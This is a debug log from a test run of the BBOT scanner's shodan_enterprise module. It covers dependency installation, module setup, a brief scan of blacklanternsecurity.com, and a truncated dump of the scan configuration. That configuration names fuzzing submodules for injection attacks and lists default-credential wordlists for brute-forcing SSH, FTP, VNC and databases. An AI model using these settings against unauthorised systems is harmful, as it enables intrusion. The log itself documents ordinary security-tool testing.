+2026-02-27 19:10:13,896 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 19:10:13,897 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 19:10:13,897 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 19:10:15,979 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 19:10:15,980 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 19:10:15,985 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:10:15,985 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 19:10:15,986 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:10:15,986 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 19:10:15,987 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:10:15,987 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 19:10:15,987 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:10:15,988 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 19:10:15,988 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 19:10:15,988 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 19:10:15,993 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/9xzltnc1mggxhprxvmz3 +2026-02-27 19:10:17,107 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 19:10:17,108 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 19:10:17,109 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 19:10:17,235 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 19:10:17,235 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 19:10:17,235 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 19:10:17,238 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 19:10:17,239 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 19:10:17,239 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 19:10:17,239 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 19:10:17,241 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 19:10:17,241 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 19:10:17,242 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 19:10:17,242 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 19:10:17,242 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 19:10:17,243 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 19:10:17,243 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 19:10:17,243 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 19:10:17,243 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 19:10:17,243 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 19:10:17,243 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 19:10:17,244 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 19:10:17,244 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 19:10:17,244 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 19:10:17,244 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 19:10:17,244 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 19:10:17,244 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 19:10:17,245 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 19:10:17,245 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 19:10:17,245 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 19:10:17,245 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 19:10:17,245 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 19:10:17,245 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 19:10:17,245 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 19:10:17,246 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 19:10:17,246 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 19:10:17,246 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 19:10:17,246 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 19:10:17,247 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 19:10:17,247 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 19:10:17,247 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 19:10:17,247 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 19:10:17,248 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 19:10:17,248 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 19:10:17,248 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 19:10:17,248 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-02-27 19:10:17,248 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 19:10:17,252 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 19:10:17,390 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_kvue4izjfx +2026-02-27 19:10:17,390 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 19:10:17,499 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-02-27 19:10:17,499 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 19:10:17,500 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 19:10:17,503 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'distance-1'}) +2026-02-27 19:10:17,601 [DEBUG] bbot.modules._scan_ingress base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'distance-1'}) passed post-check +2026-02-27 19:10:17,602 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'distance-1'}) +2026-02-27 19:10:17,604 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'distance-1'}) in-scope because its main host matches the scan target +2026-02-27 19:10:17,605 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'in-scope'}) +2026-02-27 19:10:17,606 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 19:10:17,608 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:10:17,609 [DEBUG] bbot.modules.dnsresolve base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'in-scope'}) passed post-check +2026-02-27 19:10:17,609 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'in-scope'}) +2026-02-27 19:10:17,611 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:10:17,612 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 19:10:17,613 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:10:17,614 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 19:10:17,615 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:10:17,616 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:10:17,617 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 19:10:17,623 [DEBUG] bbot.core.helpers.dns dns.py:190 Skipping wildcard detection on blacklanternsecurity.com because blacklanternsecurity.com is excluded in the config +2026-02-27 19:10:17,623 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'unresolved', 'domain', 'in-scope'}) +2026-02-27 19:10:17,624 [DEBUG] bbot.modules._scan_egress base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'unresolved', 'domain', 'in-scope'}) passed post-check +2026-02-27 19:10:17,624 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'unresolved', 'domain', 'in-scope'}) +2026-02-27 19:10:17,625 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'unresolved', 'domain', 'in-scope'}) +2026-02-27 19:10:17,626 [DEBUG] bbot.modules.output.python base.py:1563 Queueing DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'unresolved', 'domain', 'in-scope'}) because precheck succeeded +2026-02-27 19:10:17,702 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 19:10:17,703 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 19:10:17,704 [DEBUG] bbot.modules.output.python base.py:1563 Got DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'unresolved', 'domain', 'in-scope'}) from TARGET +2026-02-27 19:10:17,704 [DEBUG] bbot.modules.output.python base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'target', 'unresolved', 'domain', 'in-scope'}) passed post-check +2026-02-27 19:10:17,705 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 19:10:17,705 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-02-27 19:10:17,706 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 19:10:17,707 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 19:10:17,707 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 19:10:17,708 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 19:10:17,708 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-02-27 19:10:17,709 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 19:10:17,809 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 19:10:17,810 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 19:10:17,828 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 19:10:17,830 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 19:10:17,830 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-02-27 19:10:17,840 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-02-27 19:10:17,841 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 19:10:17,841 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 19:10:17,842 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 19:10:17,843 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 19:10:17,844 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 19:10:17,953 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_kvue4izjfx completed in 0 seconds with status FINISHED +2026-02-27 19:10:17,954 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 19:10:17,954 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 19:10:17,956 [CRITICAL] bbot test_module_shodan_enterprise.py:19 SCAN +2026-02-27 19:10:17,956 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:21 {'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_enterprise_test_kvue4izjfx', 'target': {'seeds': ['blacklanternsecurity.com'], 'whitelist': ['blacklanternsecurity.com'], 'blacklist': [], 'strict_scope': False, 'hash': 'b813d1d7fbaa3a3ca10ef8102b5dbcf344f4e8ea', 'seed_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'whitelist_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '0b94739339395097caf816b6e7a5a71160c59cf3'}, 'preset': {'description': 'testshodan_enterprise_test_kvue4izjfx', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'asn': {}, 'affiliates': {}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 